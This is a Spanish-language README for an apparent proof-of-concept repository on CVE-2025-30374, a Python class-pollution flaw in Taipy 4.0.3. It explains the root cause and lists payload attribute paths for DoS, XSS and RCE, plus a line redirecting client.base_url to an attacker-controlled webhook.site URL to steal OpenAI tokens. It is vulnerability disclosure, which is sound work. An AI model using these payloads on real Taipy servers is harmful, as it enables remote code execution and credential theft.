jackfromeast/cve-2025-30374PoCs de exploit para CVE-2025-30374, un fallo de contaminación de clases en Taipy, que demuestran RCE, XSS reflejado, DoS y fuga de credenciales de OpenAI con scripts de reproducción basados en Docker.
Se ha identificado una vulnerabilidad de contaminación de clases en Taipy v4.0.3 (la última versión en el momento del descubrimiento). Esta vulnerabilidad permite a atacantes no autorizados sobrescribir el contexto de ejecución del lado del servidor de Taipy, lo que conlleva consecuencias graves como RCE, XSS reflejado, denegación de servicio (DoS) y fuga de credenciales de autorización sensibles (por ejemplo, tokens de OpenAI).
Antecedentes
La contaminación de clases (análoga a la contaminación de prototipos en JavaScript) es una vulnerabilidad relativamente nueva en Python. Ocurre cuando un atacante puede sobrescribir inesperadamente las variables globales de un módulo o los atributos de ciertas clases y funciones en tiempo de ejecución. Este problema está categorizado bajo CWE-915.
Para obtener más información sobre la contaminación de clases, consulte:
[1] Class Pollution Wiki
[2] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Vulnerabilidad de contaminación de clases encontrada en Taipy
La causa raíz de esta vulnerabilidad reside en el uso por parte de Taipy de una función recursiva set para actualizar los valores de las variables en los estados de Taipy. Tanto el parámetro name como el value se derivan de la entrada del cliente y carecen de una validación adecuada. Esto permite a un atacante inyectar rutas de atributos maliciosas, como _TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.set, para sobrescribir el método set de _TaipyBase.
Las siguientes funciones se invocan en múltiples rutas a través de _manage_message para actualizar los estados desde el lado del cliente:
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L37-L42
def _setscopeattr_drill(gui: "Gui", name: str, value: t.Any):
if gui._is_broadcasting():
for scope in gui._get_all_data_scopes().values():
_attrsetter(scope, name, value)
else:
_attrsetter(gui._get_data_scope(), name, value)
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
def _attrsetter(obj: object, attr_str: str, value: object) -> None:
var_name_split = attr_str.split(sep=".")
for i in range(len(var_name_split) - 1):
sub_name = var_name_split[i]
obj = getattr(obj, sub_name)
setattr(obj, var_name_split[-1], value)
Configuración
Todos los PoC a continuación tienen como objetivo la aplicación de chat de demostración incluida en este repositorio (ver app/), que se basa en la demo oficial de Taipy LLM Chat (https://github.com/Avaiga/demo-llm-chat) y fija Taipy 4.0.3 (la versión en el momento del descubrimiento). Constrúyala y ejecútela con Docker:
docker build -t taipy-cve-30374 app/
docker run -d -p 5003:5000 taipy-cve-30374 # served at http://127.0.0.1:5003
Los PoC de DoS, XSS y RCE no necesitan una clave válida de OpenAI. Para el PoC de fuga de tokens, inicie la aplicación con una clave real para que la solicitud exfiltrada la transporte:
docker run -d -p 5003:5000 -e OPENAI_API_KEY=sk-... taipy-cve-30374
A continuación, ejecute el script correspondiente desde la raíz del repositorio (por ejemplo, python poc-dos.py). Instale primero las dependencias del cliente con pip install "python-socketio[client]" requests.
Consecuencia 1: DoS
El exploit completo se encuentra en: poc-dos.py
poc-dos.py sobrescribe el método set de la clase compartida _TaipyBase con un entero no invocable, utilizando una variable holder vinculada como punto de entrada:
_TpD_tpec_TpExPr_conversation_TPMDL_2.__class__.__base__.set = 71
Debido a que cada variable holder de Taipy (_TaipyData, _TaipyLov, _TaipyLovValue, ...) deriva de _TaipyBase, el servidor entonces lanza TypeError: 'int' object is not callable al (re)evaluar cualquier variable vinculada. Esto afecta a todas las sesiones, no solo a la del atacante, y dura hasta que se reinicia la aplicación.
Consecuencia 2: Fuga de tokens de OpenAI
El exploit completo se encuentra en: poc-token-exfil.py
La aplicación de demostración mantiene un openai.Client en un global del módulo (client) que está vinculado al estado de Taipy y se usa como state.client.chat.completions.create(...). poc-token-exfil.py contamina client.base_url con una URL controlada por el atacante:
client.base_url = https://webhook.site/<your-uuid>
Cada solicitud de chat posterior, que lleva el encabezado Authorization: Bearer <OPENAI_API_KEY> y la conversación completa, se redirige entonces al servidor controlado por el atacante, filtrando el token de OpenAI.
Consecuencia 3: XSS
En la siguiente función, cuando la aplicación intenta renderizar contenido del usuario, si no se encuentra el renderizador apropiado, se recurre a devolver type(content).__name__ como respuesta HTML:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L544
return (
'<div style="background:white;color:red;">'
+ (f"No valid provider for type {type(content).__name__}" if content else "Wrong context.")
+ "</div>"
)
Sin embargo, el atributo __name__ de un objeto de clase se puede establecer mediante la contaminación de clases, por ejemplo, tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__. Un atacante puede sobrescribir este atributo con una carga útil HTML o JavaScript maliciosa.
El exploit completo se encuentra en: poc-xss-no-dot.py (funciona contra v4.0.3) y poc-xss.py (variante con punto "U", Taipy ≤ 4.0.2).
Consecuencia 4: RCE
A continuación, mostramos cómo conducir a un ataque RCE.
La vulnerabilidad de contaminación de clases permite a los atacantes establecer atributos arbitrarios en objetos que aparecen en el estado de la sesión, que por defecto no contiene muchos objetos sensibles. Sin embargo, descubrimos que la ruta Gui.on_action se puede aprovechar para invocar el manejador Gui.table_on_edit, lo que provoca que nuevos objetos del módulo __main__ se vinculen al estado de la sesión. En la siguiente línea, una llamada a getattr sobre el objeto de estado activa automáticamente la operación de vinculación, mientras que un setattr posterior restablece inmediatamente el valor vinculado a None:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L1872
setattr(state, var_name, self._get_accessor().on_edit(getattr(state, var_name), payload))
Este comportamiento crea una breve ventana de carrera donde las referencias a objetos, como la clase Gui, existen temporalmente en el estado de la sesión. Durante esta ventana, los atacantes pueden explotar la contaminación de clases para sobrescribir atributos en esos objetos.
Además, descubrimos que el atributo Gui.__SELF_VAR se utiliza como prefijo al construir expresiones que se pasan a la función integrada eval() de Python:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L146
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L3011
__SELF_VAR = "__gui"
# ...
glob_ctx[Gui.__SELF_VAR] = self
Al sobrescribir el valor de __SELF_VAR mediante la contaminación de clases, un atacante puede controlar la expresión que se evalúa, lo que finalmente conduce a la ejecución arbitraria de código en el servidor.
El exploit completo se encuentra en: poc-rce-no-dot.py (funciona contra v4.0.3) y poc-rce.py (variante con punto "U", Taipy ≤ 4.0.2). Ambos vinculan el objeto Gui al estado de la sesión a través de la ruta on_action que llama a table_on_edit, y luego compiten con la escritura de la contaminación de clases, por lo que pueden necesitar varios intentos para acertar.
Cualquier usuario de Taipy puede explotar esta vulnerabilidad para lanzar RCE, XSS reflejado, denegación de servicio (DoS) y fuga de credenciales de autorización sensibles (por ejemplo, tokens de OpenAI).